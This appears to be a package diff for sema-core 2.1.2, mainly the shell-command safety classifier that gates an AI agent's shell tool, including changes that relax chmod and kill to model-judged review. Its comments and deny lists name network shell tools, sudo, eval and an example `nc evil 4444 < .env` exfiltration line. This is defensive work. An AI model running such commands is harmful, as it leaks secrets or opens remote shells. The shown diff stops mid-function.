sema-core 2.1.1 → 2.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (132) hide show
  1. package/dist/core/Conversation.d.ts.map +1 -1
  2. package/dist/core/Conversation.js +9 -3
  3. package/dist/core/Conversation.js.map +1 -1
  4. package/dist/core/SemaEngine.d.ts +0 -5
  5. package/dist/core/SemaEngine.d.ts.map +1 -1
  6. package/dist/core/SemaEngine.js +19 -50
  7. package/dist/core/SemaEngine.js.map +1 -1
  8. package/dist/events/types.d.ts +4 -1
  9. package/dist/events/types.d.ts.map +1 -1
  10. package/dist/manager/ConfManager.d.ts.map +1 -1
  11. package/dist/manager/ConfManager.js +3 -0
  12. package/dist/manager/ConfManager.js.map +1 -1
  13. package/dist/manager/PermissionManager.d.ts.map +1 -1
  14. package/dist/manager/PermissionManager.js +124 -216
  15. package/dist/manager/PermissionManager.js.map +1 -1
  16. package/dist/manager/runShellGate.d.ts +25 -0
  17. package/dist/manager/runShellGate.d.ts.map +1 -0
  18. package/dist/manager/runShellGate.js +154 -0
  19. package/dist/manager/runShellGate.js.map +1 -0
  20. package/dist/prompt/inputPredict.d.ts +1 -1
  21. package/dist/prompt/inputPredict.d.ts.map +1 -1
  22. package/dist/prompt/inputPredict.js +1 -1
  23. package/dist/prompt/permission.d.ts.map +1 -1
  24. package/dist/prompt/permission.js +91 -36
  25. package/dist/prompt/permission.js.map +1 -1
  26. package/dist/prompt/skills.d.ts +18 -0
  27. package/dist/prompt/skills.d.ts.map +1 -0
  28. package/dist/prompt/skills.js +151 -0
  29. package/dist/prompt/skills.js.map +1 -0
  30. package/dist/prompt/toolAliases.d.ts +12 -1
  31. package/dist/prompt/toolAliases.d.ts.map +1 -1
  32. package/dist/prompt/toolAliases.js +28 -1
  33. package/dist/prompt/toolAliases.js.map +1 -1
  34. package/dist/prompt/tools/runShell.js +1 -1
  35. package/dist/prompt/tools/skill.d.ts.map +1 -1
  36. package/dist/prompt/tools/skill.js +2 -1
  37. package/dist/prompt/tools/skill.js.map +1 -1
  38. package/dist/services/agents/agentsManager.d.ts +5 -2
  39. package/dist/services/agents/agentsManager.d.ts.map +1 -1
  40. package/dist/services/agents/agentsManager.js +33 -21
  41. package/dist/services/agents/agentsManager.js.map +1 -1
  42. package/dist/services/commands/commandsManager.d.ts +5 -6
  43. package/dist/services/commands/commandsManager.d.ts.map +1 -1
  44. package/dist/services/commands/commandsManager.js +28 -23
  45. package/dist/services/commands/commandsManager.js.map +1 -1
  46. package/dist/services/hooks/hookTriggers.d.ts.map +1 -1
  47. package/dist/services/hooks/hookTriggers.js +4 -1
  48. package/dist/services/hooks/hookTriggers.js.map +1 -1
  49. package/dist/services/hooks/hooksManager.d.ts +8 -2
  50. package/dist/services/hooks/hooksManager.d.ts.map +1 -1
  51. package/dist/services/hooks/hooksManager.js +70 -28
  52. package/dist/services/hooks/hooksManager.js.map +1 -1
  53. package/dist/services/mcp/MCPManager.d.ts +2 -1
  54. package/dist/services/mcp/MCPManager.d.ts.map +1 -1
  55. package/dist/services/mcp/MCPManager.js +4 -2
  56. package/dist/services/mcp/MCPManager.js.map +1 -1
  57. package/dist/services/memory/memManager.d.ts +8 -1
  58. package/dist/services/memory/memManager.d.ts.map +1 -1
  59. package/dist/services/memory/memManager.js +16 -2
  60. package/dist/services/memory/memManager.js.map +1 -1
  61. package/dist/services/plugins/pluginsManager.d.ts +1 -1
  62. package/dist/services/plugins/pluginsManager.d.ts.map +1 -1
  63. package/dist/services/plugins/pluginsManager.js +13 -4
  64. package/dist/services/plugins/pluginsManager.js.map +1 -1
  65. package/dist/services/rules/rulesManager.d.ts +2 -1
  66. package/dist/services/rules/rulesManager.d.ts.map +1 -1
  67. package/dist/services/rules/rulesManager.js +2 -2
  68. package/dist/services/rules/rulesManager.js.map +1 -1
  69. package/dist/services/skills/skillsManager.d.ts +13 -8
  70. package/dist/services/skills/skillsManager.d.ts.map +1 -1
  71. package/dist/services/skills/skillsManager.js +68 -30
  72. package/dist/services/skills/skillsManager.js.map +1 -1
  73. package/dist/tools/EditNotebook.d.ts +1 -1
  74. package/dist/tools/PatchFile.d.ts.map +1 -1
  75. package/dist/tools/PatchFile.js +22 -18
  76. package/dist/tools/PatchFile.js.map +1 -1
  77. package/dist/tools/RunShell.d.ts +9 -9
  78. package/dist/tools/RunShell.d.ts.map +1 -1
  79. package/dist/tools/RunShell.js +11 -14
  80. package/dist/tools/RunShell.js.map +1 -1
  81. package/dist/tools/Skill.d.ts.map +1 -1
  82. package/dist/tools/Skill.js +40 -2
  83. package/dist/tools/Skill.js.map +1 -1
  84. package/dist/tools/ViewFile.d.ts.map +1 -1
  85. package/dist/tools/ViewFile.js +3 -19
  86. package/dist/tools/ViewFile.js.map +1 -1
  87. package/dist/tools/WriteFile.d.ts.map +1 -1
  88. package/dist/tools/WriteFile.js +4 -2
  89. package/dist/tools/WriteFile.js.map +1 -1
  90. package/dist/tools/base/tools.d.ts.map +1 -1
  91. package/dist/tools/base/tools.js +7 -1
  92. package/dist/tools/base/tools.js.map +1 -1
  93. package/dist/types/hook.d.ts +8 -3
  94. package/dist/types/hook.d.ts.map +1 -1
  95. package/dist/types/index.d.ts +1 -1
  96. package/dist/types/index.d.ts.map +1 -1
  97. package/dist/types/plugin.d.ts +2 -0
  98. package/dist/types/plugin.d.ts.map +1 -1
  99. package/dist/types/skill.d.ts +1 -1
  100. package/dist/types/skill.d.ts.map +1 -1
  101. package/dist/util/autoRunContext.d.ts +3 -2
  102. package/dist/util/autoRunContext.d.ts.map +1 -1
  103. package/dist/util/autoRunContext.js +45 -11
  104. package/dist/util/autoRunContext.js.map +1 -1
  105. package/dist/util/commands.d.ts.map +1 -1
  106. package/dist/util/commands.js +6 -1
  107. package/dist/util/commands.js.map +1 -1
  108. package/dist/util/fetchSafety.d.ts +10 -3
  109. package/dist/util/fetchSafety.d.ts.map +1 -1
  110. package/dist/util/fetchSafety.js +22 -29
  111. package/dist/util/fetchSafety.js.map +1 -1
  112. package/dist/util/imageCompress.d.ts +16 -0
  113. package/dist/util/imageCompress.d.ts.map +1 -1
  114. package/dist/util/imageCompress.js +53 -0
  115. package/dist/util/imageCompress.js.map +1 -1
  116. package/dist/util/readPathClass.d.ts +16 -0
  117. package/dist/util/readPathClass.d.ts.map +1 -0
  118. package/dist/util/readPathClass.js +121 -0
  119. package/dist/util/readPathClass.js.map +1 -0
  120. package/dist/util/secureFile.d.ts +4 -0
  121. package/dist/util/secureFile.d.ts.map +1 -1
  122. package/dist/util/secureFile.js +8 -60
  123. package/dist/util/secureFile.js.map +1 -1
  124. package/dist/util/shell.d.ts +1 -0
  125. package/dist/util/shell.d.ts.map +1 -1
  126. package/dist/util/shell.js +36 -0
  127. package/dist/util/shell.js.map +1 -1
  128. package/dist/util/shellSafety.d.ts +26 -15
  129. package/dist/util/shellSafety.d.ts.map +1 -1
  130. package/dist/util/shellSafety.js +277 -60
  131. package/dist/util/shellSafety.js.map +1 -1
  132. package/package.json +1 -1
@@ -2,6 +2,7 @@
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.hasRedirection = hasRedirection;
4
4
  exports.classifyCommandSubstitutions = classifyCommandSubstitutions;
5
+ exports.classifyMultilineCommand = classifyMultilineCommand;
5
6
  exports.hasDangerousCommand = hasDangerousCommand;
6
7
  exports.isUnsafeForPrefixAuth = isUnsafeForPrefixAuth;
7
8
  exports.hasNetworkCommand = hasNetworkCommand;
@@ -130,23 +131,31 @@ function hasRedirection(command) {
130
131
  // 危险首词:危险性在参数里、不该按首词前缀授权的命令。授权 rm:* / sudo:* 等会把
131
132
  // `rm -rf /`、任意 `sudo ...` 一并放行,故这些命令不提供前缀授权、也不被已存前缀覆盖。
132
133
  // 内部分两档(见 classifyDangerousCommand):
133
- // 硬危险(sudo/dd/chmod/kill 等)→ 永远确定性转人工,不给模型裁决权;
134
- // 删除类(rm/rmdir/mv,另有 find -delete)→ 目标路径确定性落在项目内/临时目录时降为
135
- // 灰区,AutoRun 档位交快速模型结合上下文判断。
136
- // 本集合保持两档并集不变:前缀授权禁令、find -exec 目标与 $() 替换的递归分类仍按
137
- // 「一律危险」处理(-exec rm / $(rm ...) 不参与放宽)。
134
+ // 硬危险(sudo/dd/chown 等)→ 永远确定性转人工,不给模型裁决权;
135
+ // 灰区 → AutoRun 档位交快速模型结合上下文判断:
136
+ // - 删除类(rm/rmdir/mv,另有 find -delete)目标路径确定性落在项目内/临时目录
137
+ // - chmod 所有路径操作数确定性落在项目内/临时目录(改回来即可,可逆)
138
+ // - 进程类(kill/killall/pkill):杀的是本机进程,dev server 重启即可,误放代价可逆;
139
+ // 模型据轨迹判断是否 agent 自启的服务(kill $(lsof -t -i:3000))还是宽泛 pkill node
140
+ // DANGEROUS_PREFIX_COMMANDS 保持所有档并集不变:前缀授权禁令、find -exec 目标与 $() 替换的
141
+ // 递归分类仍按「一律危险」处理(-exec rm / $(kill ...) 不参与放宽;模型放行一次 ≠ 允许保存 chmod:*)。
138
142
  // nc / ncat / netcat / telnet 是裸 socket:反弹 shell 与 `nc evil 4444 < .env` 的典型手段,合法用途
139
143
  // 只有 `nc -zv localhost 3000` 探端口这类,很少。归入硬危险即「始终人工」:每次确认、不给前缀授权、
140
144
  // AutoRun 也不交模型。curl/wget 等 HTTP 客户端另见 NETWORK_CONFIRM_COMMANDS。
145
+ // eval 是任意执行原语(eval "$cmd"),与解释器 -c 同级;source / . 加载脚本虽也执行,但
146
+ // `source venv/bin/activate` 是日常写法,留给模型判断。
141
147
  const HARD_DANGEROUS_COMMANDS = new Set([
142
148
  'dd', 'shred', 'truncate',
143
- 'chmod', 'chown', 'chgrp',
144
- 'kill', 'killall', 'pkill',
149
+ 'chown', 'chgrp',
145
150
  'sudo', 'doas', 'su',
146
151
  'nc', 'ncat', 'netcat', 'telnet',
152
+ 'eval',
147
153
  ]);
154
+ const PROCESS_COMMANDS = new Set(['kill', 'killall', 'pkill']);
148
155
  const DELETE_COMMANDS = new Set(['rm', 'rmdir', 'mv']);
149
- const DANGEROUS_PREFIX_COMMANDS = new Set([...HARD_DANGEROUS_COMMANDS, ...DELETE_COMMANDS]);
156
+ const DANGEROUS_PREFIX_COMMANDS = new Set([
157
+ ...HARD_DANGEROUS_COMMANDS, ...PROCESS_COMMANDS, ...DELETE_COMMANDS, 'chmod',
158
+ ]);
150
159
  const FIND_EXEC_TOKENS = new Set(['-exec', '-execdir']);
151
160
  // shell 解释器:-exec sh -c '...' 是任意命令执行原语,与危险首词同级,
152
161
  // 不给模型判断机会(isDangerousSubcommand 只查首词集合,覆盖不到这里)
@@ -177,9 +186,8 @@ function classifyExecTarget(target) {
177
186
  * 提取 find 段内所有 -exec/-execdir 的目标命令(-exec 到 ;/+ 结束符之间、剥掉 {}),
178
187
  * 逐个分类后取最严结果:任一 dangerous → dangerous;否则任一 gray → gray;全 readonly → readonly。
179
188
  *
180
- * 结束符识别 token 级精确匹配 ; 或 +(含引号包裹形式)。`\;` 形式经 splitCommand 的转义占位
181
- * 处理后 `;` 会被当作命令分隔符消耗掉,段内只残留孤立的 `\`,找不到结束符 → fail-closed 判
182
- * dangerous,与现状(一律危险)一致,不放宽。
189
+ * 结束符识别 token 级精确匹配 ; 或 +(含引号包裹形式与 `\;` 转义形式;splitCommand 已保证
190
+ * `\;` 不被当作命令分隔符拆散)。找不到结束符(命令截断)→ fail-closed 判 dangerous。
183
191
  */
184
192
  function classifyFindExecTargets(seg) {
185
193
  const tokens = seg.trim().split(/\s+/);
@@ -195,14 +203,14 @@ function classifyFindExecTargets(seg) {
195
203
  let foundEnd = false;
196
204
  for (; j < tokens.length; j++) {
197
205
  const bare = unquoteToken(tokens[j]);
198
- if (bare === ';' || bare === '+') {
206
+ if (bare === ';' || bare === '\\;' || bare === '+') {
199
207
  foundEnd = true;
200
208
  break;
201
209
  }
202
210
  if (bare !== '{}')
203
211
  targetTokens.push(tokens[j]);
204
212
  }
205
- // 找不到结束符(\; 被打散 / 命令截断)→ fail-closed
213
+ // 找不到结束符(命令截断)→ fail-closed
206
214
  if (!foundEnd)
207
215
  return 'dangerous';
208
216
  const c = classifyExecTarget(targetTokens.join(' '));
@@ -221,6 +229,44 @@ function classifyFindExecTargets(seg) {
221
229
  const MAX_SUBSTITUTION_DEPTH = 3;
222
230
  // 骨架占位符:替换 $(...) 后参与分词/分类,纯字母数字下划线,不会引入新的注入特征
223
231
  const SUBST_PLACEHOLDER = '__SUBST__';
232
+ // 注入形态下额外视为「任意执行原语」的首词(eval 已在 HARD_DANGEROUS_COMMANDS):exec 替换当前 shell,
233
+ // 与解释器同级;source / . 留给模型(见 HARD_DANGEROUS_COMMANDS 注释)
234
+ const EXEC_PRIMITIVES = new Set(['exec']);
235
+ // 段内是否有含变量/命令替换的操作数(首词之后任一 token 带展开);分词失败按「有」处理(fail-closed)
236
+ function hasExpandingOperand(seg) {
237
+ const tokens = tokenizeSeg(seg);
238
+ if (!tokens)
239
+ return true;
240
+ return tokens.slice(1).some(t => t.hasExpansion);
241
+ }
242
+ /**
243
+ * 逐段分类(注入形态专用):与顶层 classifyDangerousSeg 的差别在于「静态解析不了 ≠ 危险」——
244
+ * 删除/chmod 的目标含变量(for 循环里的 mv "$a" "$b")时交模型而不是硬拦;目标是字面路径时
245
+ * 仍按顶层规则裁决(字面出项目 → dangerous)。硬危险首词、解释器、eval 维持 dangerous。
246
+ */
247
+ function classifyInjectedSeg(seg, checker, cwd) {
248
+ const s = seg.trim();
249
+ const first = s.split(/\s+/)[0] ?? '';
250
+ if (SHELL_INTERPRETERS.has(first) || EXEC_PRIMITIVES.has(first))
251
+ return 'dangerous';
252
+ if (HARD_DANGEROUS_COMMANDS.has(first) || first.startsWith('mkfs'))
253
+ return 'dangerous';
254
+ if (PROCESS_COMMANDS.has(first))
255
+ return 'gray';
256
+ const isFindDelete = first === 'find' && FIND_DELETE_FLAG.test(s);
257
+ if (first === 'find' && !isFindDelete) {
258
+ if (FIND_HARD_ACTION_FLAGS.test(s) || classifyFindExecTargets(s) === 'dangerous')
259
+ return 'dangerous';
260
+ return isReadonlySafeSubcommand(s) ? 'readonly' : 'gray';
261
+ }
262
+ if (DELETE_COMMANDS.has(first) || first === 'chmod' || isFindDelete) {
263
+ if (!checker || hasExpandingOperand(s))
264
+ return 'gray';
265
+ const c = classifyDangerousSeg(s, checker, cwd);
266
+ return c === 'hard' ? 'dangerous' : 'gray';
267
+ }
268
+ return isReadonlySafeSubcommand(s) ? 'readonly' : 'gray';
269
+ }
224
270
  /**
225
271
  * 从 $( 之后的位置找配对的右括号,返回其下标;找不到返回 -1。
226
272
  * 括号仅在引号外计数(含 $(a (b) c) 的子 shell 嵌套);单引号内全字面;
@@ -328,16 +374,19 @@ function extractCommandSubstitutions(command) {
328
374
  return { skeleton, inners };
329
375
  }
330
376
  /**
331
- * 对「注入特征仅可能来自 $() 命令替换」的整条命令做递归分类。
377
+ * 对「含注入特征」的整条命令做递归分类:$() 命令替换、`;` 分隔、for/while 循环、变量操作数
378
+ * 这些静态解析器读不懂但模型读得懂的形态,都走这里细分而不是一律硬拦。
332
379
  * 内层命令先递归分类(内层自身可含 && / | / 嵌套 $() 等);随后骨架经 splitCommand
333
- * 分段,逐段按顶层三层规则判定:危险首词/解释器/嵌套危险 find → dangerous;
334
- * 只读安全 → readonly;其余 → gray。骨架残留任何注入特征(换行等)→ dangerous。
380
+ * 分段,逐段按 classifyInjectedSeg 判定,取最严;骨架内残留换行 → dangerous(多行请调用方
381
+ * 逐行分类)。字面 cd 同样跟踪 cwd。
335
382
  *
336
383
  * 供权限闸门使用:dangerous → 确定性转人工(不给模型机会);readonly/gray → 交
337
384
  * AutoRun 模型判断。刻意不提供确定性放行——放行与否只由模型或人工裁决,解析器
338
385
  * 误差最多把命令送去模型,绝不静默放过。
386
+ *
387
+ * @param checker 删除/chmod 字面目标的范围回调(同 classifyDangerousCommand);不传则这类段一律 gray
339
388
  */
340
- function classifyCommandSubstitutions(command, depth = 0) {
389
+ function classifyCommandSubstitutions(command, checker, depth = 0) {
341
390
  if (depth > MAX_SUBSTITUTION_DEPTH)
342
391
  return 'dangerous';
343
392
  const parsed = extractCommandSubstitutions(command);
@@ -345,7 +394,7 @@ function classifyCommandSubstitutions(command, depth = 0) {
345
394
  return 'dangerous';
346
395
  let worst = 'readonly';
347
396
  for (const inner of parsed.inners) {
348
- const c = classifyCommandSubstitutions(inner, depth + 1);
397
+ const c = classifyCommandSubstitutions(inner, checker, depth + 1);
349
398
  if (c === 'dangerous')
350
399
  return 'dangerous';
351
400
  if (c === 'gray')
@@ -360,19 +409,27 @@ function classifyCommandSubstitutions(command, depth = 0) {
360
409
  }
361
410
  if (segs.length === 0)
362
411
  return 'dangerous';
363
- for (const seg of segs) {
412
+ const cwds = trackSegCwds(parsed.skeleton, segs);
413
+ for (let i = 0; i < segs.length; i++) {
414
+ const seg = segs[i];
364
415
  if ((0, commands_1.hasCommandInjection)(seg))
365
416
  return 'dangerous';
366
- const first = seg.trim().split(/\s+/)[0] ?? '';
367
- if (SHELL_INTERPRETERS.has(first))
368
- return 'dangerous';
369
- if (isDangerousSubcommand(seg))
417
+ const c = classifyInjectedSeg(seg, checker, cwds[i] ?? null);
418
+ if (c === 'dangerous')
370
419
  return 'dangerous';
371
- if (!isReadonlySafeSubcommand(seg))
420
+ if (c === 'gray')
372
421
  worst = 'gray';
373
422
  }
374
423
  return worst;
375
424
  }
425
+ /**
426
+ * 多行命令(heredoc 剥离正文后的骨架、换行拼接的多条命令)的分类。
427
+ * 结束符之后再接命令是 agent 的常见写法(跑完脚本再 cat 结果),不是藏命令——模型看得到全文。
428
+ * shell 里换行与 `;` 等价,直接替换后整体分类:cd 跟踪跨行仍成立,分段规则与单行一致。
429
+ */
430
+ function classifyMultilineCommand(skeleton, checker) {
431
+ return classifyCommandSubstitutions(skeleton.replace(/\n+/g, ' ; '), checker);
432
+ }
376
433
  function isDangerousSubcommand(seg) {
377
434
  const s = seg.trim();
378
435
  const first = s.split(/\s+/)[0] ?? '';
@@ -458,8 +515,8 @@ function hasNetworkCommand(command) {
458
515
  // - 不含发数据 / 带凭据 / 读本地配置 / 跨主机抓取的参数;显式方法只允许 GET / HEAD
459
516
  // - 未识别的取值参数会把值当成位置参数 → 非环回 URL → 不满足(保守)
460
517
  const READ_METHODS = new Set(['GET', 'HEAD']);
461
- // 环回主机:用户自己机器上的服务。与 fetchSafety.isBlockedFetchHost 刻意区分——那里是 fetch_url 的
462
- // SSRF 边界(环回/内网/元数据一律拦),这里只认环回,内网与云元数据地址仍交模型/人工。
518
+ // 环回主机:用户自己机器上的服务。与 fetchSafety.classifyFetchHost 的 loopback 档语义一致,
519
+ // 这里只认环回,内网与云元数据地址仍交模型/人工。
463
520
  function isLoopbackHost(hostname) {
464
521
  const h = hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
465
522
  if (h === 'localhost' || h.endsWith('.localhost'))
@@ -712,6 +769,114 @@ function isLoopbackReadonlyRequest(command) {
712
769
  // 与 ALWAYS_DANGEROUS_FIND_FLAGS 的差集是 -delete —— 后者单独识别为删除类灰区。
713
770
  const FIND_HARD_ACTION_FLAGS = /(^|\s)-(ok(dir)?|fprint(0|f)?|fls)\b/;
714
771
  const FIND_DELETE_FLAG = /(^|\s)-delete\b/;
772
+ // 引号感知地把整条命令按列表/管道分隔符切段,记录每段前面的分隔符。
773
+ // 只为 cd 跟踪服务:splitCommand 会丢掉分隔符信息,而 cwd 能否沿用取决于分隔符语义
774
+ // (&& 安全:cd 失败后续不执行;|| 与管道不安全:cd 可能被跳过或跑在子 shell 里)。
775
+ // 引号外出现 ( ) { } → 子 shell/分组,cd 作用域无法静态跟踪 → null。
776
+ function splitWithOperators(command) {
777
+ const out = [];
778
+ let cur = '';
779
+ let op = '';
780
+ let inSingle = false;
781
+ let inDouble = false;
782
+ const flush = (nextOp) => {
783
+ out.push({ op, seg: cur.trim() });
784
+ cur = '';
785
+ op = nextOp;
786
+ };
787
+ for (let i = 0; i < command.length; i++) {
788
+ const c = command[i];
789
+ if (inSingle) {
790
+ if (c === "'")
791
+ inSingle = false;
792
+ cur += c;
793
+ continue;
794
+ }
795
+ if (c === '\\') {
796
+ cur += c + (command[i + 1] ?? '');
797
+ i++;
798
+ continue;
799
+ }
800
+ if (inDouble) {
801
+ if (c === '"')
802
+ inDouble = false;
803
+ cur += c;
804
+ continue;
805
+ }
806
+ if (c === "'") {
807
+ inSingle = true;
808
+ cur += c;
809
+ continue;
810
+ }
811
+ if (c === '"') {
812
+ inDouble = true;
813
+ cur += c;
814
+ continue;
815
+ }
816
+ if (c === '(' || c === ')' || c === '{' || c === '}')
817
+ return null;
818
+ const two = command.slice(i, i + 2);
819
+ if (two === '&&' || two === '||') {
820
+ flush(two);
821
+ i++;
822
+ continue;
823
+ }
824
+ if (c === '|' || c === ';' || c === '\n') {
825
+ flush(c);
826
+ continue;
827
+ }
828
+ cur += c;
829
+ }
830
+ if (inSingle || inDouble)
831
+ return null;
832
+ flush('');
833
+ return out.filter(e => e.seg !== '');
834
+ }
835
+ /**
836
+ * 静态跟踪 cd/pushd/popd 对后续子命令 cwd 的影响,返回与 segs 一一对应的 cwd 数组。
837
+ * 可跟踪的只有「字面路径的 cd」(无变量/通配/~、非 `cd -`、非裸 cd)且其前后分隔符都是 &&
838
+ * (首段或经 ; / 换行接续也可);pushd/popd、`||`、管道内 cd、子 shell、分段数与 splitCommand
839
+ * 对不上 → 从该处起(或整体)不可跟踪。fail-closed:任何不确定都退化为 null。
840
+ */
841
+ function trackSegCwds(command, segs) {
842
+ const parts = splitWithOperators(command);
843
+ if (!parts || parts.length !== segs.length)
844
+ return segs.map(() => null);
845
+ const cwds = [];
846
+ let cwd = '';
847
+ for (let i = 0; i < parts.length; i++) {
848
+ const { op, seg } = parts[i];
849
+ const nextOp = parts[i + 1]?.op ?? '';
850
+ const first = seg.split(/\s+/)[0] ?? '';
851
+ if (first === 'pushd' || first === 'popd')
852
+ cwd = null;
853
+ if (first === 'cd') {
854
+ const tokens = tokenizeSeg(seg);
855
+ const target = tokens?.[1];
856
+ const pipelined = op === '|' || nextOp === '|';
857
+ if (cwd === null || pipelined || !tokens || tokens.length !== 2 || !target ||
858
+ target.hasExpansion || target.globIndex >= 0 || target.text === '-' || target.text.startsWith('~')) {
859
+ cwd = null;
860
+ }
861
+ else {
862
+ cwd = (0, path_1.isAbsolute)(target.text) ? target.text : (cwd ? (0, path_1.join)(cwd, target.text) : target.text);
863
+ }
864
+ }
865
+ // `||` 之后 cd 是否执行过取决于前段成败,无法静态判断
866
+ if (op === '||')
867
+ cwd = null;
868
+ cwds.push(cwd);
869
+ }
870
+ return cwds;
871
+ }
872
+ // 相对目标按跟踪到的 cwd 解析:cwd 为 '' 时原样返回(调用方按项目根解析),null 时不可解析
873
+ function resolveAgainstCwd(text, cwd) {
874
+ if ((0, path_1.isAbsolute)(text))
875
+ return text;
876
+ if (cwd === null)
877
+ return null;
878
+ return cwd ? (0, path_1.join)(cwd, text) : text;
879
+ }
715
880
  /**
716
881
  * 引号感知的段内分词:按空白拆 token,剥掉引号字符,标记通配符与展开特征。
717
882
  * splitCommand 的输出段保留了原始引号(如 rm "my file.txt"),朴素 split(/\s+/)
@@ -789,33 +954,32 @@ function tokenizeSeg(seg) {
789
954
  return tokens;
790
955
  }
791
956
  /**
792
- * 单个删除目标 token 是否可静态确认落在允许范围。
957
+ * 单个目标 token 是否可静态确认落在允许范围。
793
958
  * 含变量/命令替换、~ 展开 → 不可静态解析 → 拒绝;
794
- * cwd 不可靠(命令里出现 cd/pushd)时相对路径拒绝;
959
+ * 相对路径按该段跟踪到的 cwd 解析(不可跟踪时拒绝);
795
960
  * 通配符目标退化为「其字面前缀的目录部分」按 globdir 交策略回调。
796
961
  */
797
- function checkDeleteTarget(t, isDeletableTarget, cwdUnreliable) {
962
+ function checkDeleteTarget(t, isDeletableTarget, cwd) {
798
963
  if (t.hasExpansion)
799
964
  return false;
800
965
  const text = t.text;
801
966
  if (!text || text.startsWith('~'))
802
967
  return false;
803
- if (cwdUnreliable && !(0, path_1.isAbsolute)(text))
804
- return false;
805
968
  if (t.globIndex >= 0) {
806
969
  const prefix = text.slice(0, t.globIndex);
807
970
  const slash = prefix.lastIndexOf('/');
808
- const dir = slash >= 0 ? prefix.slice(0, slash + 1) : '';
809
- return isDeletableTarget(dir || '.', 'globdir');
971
+ const dir = resolveAgainstCwd(slash >= 0 ? prefix.slice(0, slash + 1) : '.', cwd);
972
+ return dir !== null && isDeletableTarget(dir, 'globdir');
810
973
  }
811
- return isDeletableTarget(text, 'literal');
974
+ const resolved = resolveAgainstCwd(text, cwd);
975
+ return resolved !== null && isDeletableTarget(resolved, 'literal');
812
976
  }
813
977
  /**
814
978
  * rm/rmdir/mv 段的目标提取与校验:跳过 flag,`--` 之后全按操作数;
815
979
  * mv --target-directory=DIR 的 DIR 也计入目标(-t DIR 的 DIR 不带 - 前缀,天然计入)。
816
980
  * 无任何操作数(如裸 `rm -rf`)→ hard。
817
981
  */
818
- function checkDeleteOperands(seg, isDeletableTarget, cwdUnreliable) {
982
+ function checkDeleteOperands(seg, isDeletableTarget, cwd) {
819
983
  const tokens = tokenizeSeg(seg);
820
984
  if (!tokens || tokens.length === 0)
821
985
  return 'hard';
@@ -841,17 +1005,60 @@ function checkDeleteOperands(seg, isDeletableTarget, cwdUnreliable) {
841
1005
  if (operands.length === 0)
842
1006
  return 'hard';
843
1007
  for (const t of operands) {
844
- if (!checkDeleteTarget(t, isDeletableTarget, cwdUnreliable))
1008
+ if (!checkDeleteTarget(t, isDeletableTarget, cwd))
845
1009
  return 'hard';
846
1010
  }
847
- return 'deletable';
1011
+ return 'gray';
1012
+ }
1013
+ /**
1014
+ * chmod 段的路径操作数校验:跳过 flag,第一个非 flag 操作数是 mode(+x / 755 / u=rw),
1015
+ * 其余都是路径,须全部确定性落在允许范围(同删除类)。`--reference=FILE` 只读取 FILE 的
1016
+ * mode,按 flag 跳过;`--` 之后第一个 token 仍是 mode(chmod -- -x file 的写法)。
1017
+ * 没有路径操作数 → hard(fail-closed)。
1018
+ */
1019
+ function checkChmodOperands(seg, isDeletableTarget, cwd) {
1020
+ const tokens = tokenizeSeg(seg);
1021
+ if (!tokens || tokens.length === 0)
1022
+ return 'hard';
1023
+ const paths = [];
1024
+ let afterDoubleDash = false;
1025
+ let modeSeen = false;
1026
+ for (let i = 1; i < tokens.length; i++) {
1027
+ const t = tokens[i];
1028
+ if (!afterDoubleDash) {
1029
+ if (t.text === '--') {
1030
+ afterDoubleDash = true;
1031
+ continue;
1032
+ }
1033
+ if (t.text.startsWith('--reference=')) {
1034
+ modeSeen = true;
1035
+ continue;
1036
+ }
1037
+ // -R/-v 等 flag;-x/-w 这类以 - 开头的 mode 与 flag 无法区分,一律按 flag 跳过,
1038
+ // 后果只是第一个路径被当成 mode 吞掉:单路径时 paths 为空 → hard,多路径时其余仍逐个校验,fail-closed
1039
+ if (t.text.startsWith('-') && t.text !== '-')
1040
+ continue;
1041
+ }
1042
+ if (!modeSeen) {
1043
+ modeSeen = true;
1044
+ continue;
1045
+ }
1046
+ paths.push(t);
1047
+ }
1048
+ if (paths.length === 0)
1049
+ return 'hard';
1050
+ for (const t of paths) {
1051
+ if (!checkDeleteTarget(t, isDeletableTarget, cwd))
1052
+ return 'hard';
1053
+ }
1054
+ return 'gray';
848
1055
  }
849
1056
  /**
850
1057
  * find … -delete 段的起始路径提取与校验:跳过 find 前置全局选项(-H/-L/-P/-O/-D val),
851
1058
  * 收集表达式(- 开头 / ( / !)之前的位置参数为起始路径;无起始路径按 find 默认的 `.`。
852
1059
  * 删除发生在起始路径目录树内,按 globdir 语义交策略回调。
853
1060
  */
854
- function checkFindDeleteTargets(seg, isDeletableTarget, cwdUnreliable) {
1061
+ function checkFindDeleteTargets(seg, isDeletableTarget, cwd) {
855
1062
  const tokens = tokenizeSeg(seg);
856
1063
  if (!tokens || tokens.length === 0)
857
1064
  return 'hard';
@@ -873,20 +1080,27 @@ function checkFindDeleteTargets(seg, isDeletableTarget, cwdUnreliable) {
873
1080
  for (const t of paths) {
874
1081
  // 起始路径含通配符(find dist/* -delete):shell 已展开,逐个匹配项都是目录起点,
875
1082
  // checkDeleteTarget 会按 globdir 退化到字面前缀目录,语义一致
876
- const ok = t.globIndex >= 0
877
- ? checkDeleteTarget(t, isDeletableTarget, cwdUnreliable)
878
- : (!t.hasExpansion && !!t.text && !t.text.startsWith('~') &&
879
- !(cwdUnreliable && !(0, path_1.isAbsolute)(t.text)) && isDeletableTarget(t.text, 'globdir'));
1083
+ let ok;
1084
+ if (t.globIndex >= 0) {
1085
+ ok = checkDeleteTarget(t, isDeletableTarget, cwd);
1086
+ }
1087
+ else {
1088
+ const resolved = !t.hasExpansion && !!t.text && !t.text.startsWith('~') ? resolveAgainstCwd(t.text, cwd) : null;
1089
+ ok = resolved !== null && isDeletableTarget(resolved, 'globdir');
1090
+ }
880
1091
  if (!ok)
881
1092
  return 'hard';
882
1093
  }
883
- return 'deletable';
1094
+ return 'gray';
884
1095
  }
885
- function classifyDangerousSeg(seg, isDeletableTarget, cwdUnreliable) {
1096
+ function classifyDangerousSeg(seg, isDeletableTarget, cwd) {
886
1097
  const s = seg.trim();
887
1098
  const first = s.split(/\s+/)[0] ?? '';
888
1099
  if (HARD_DANGEROUS_COMMANDS.has(first) || first.startsWith('mkfs'))
889
1100
  return 'hard';
1101
+ // 进程类不看参数:杀本机进程可逆,是否 agent 自启的服务由模型据轨迹判断
1102
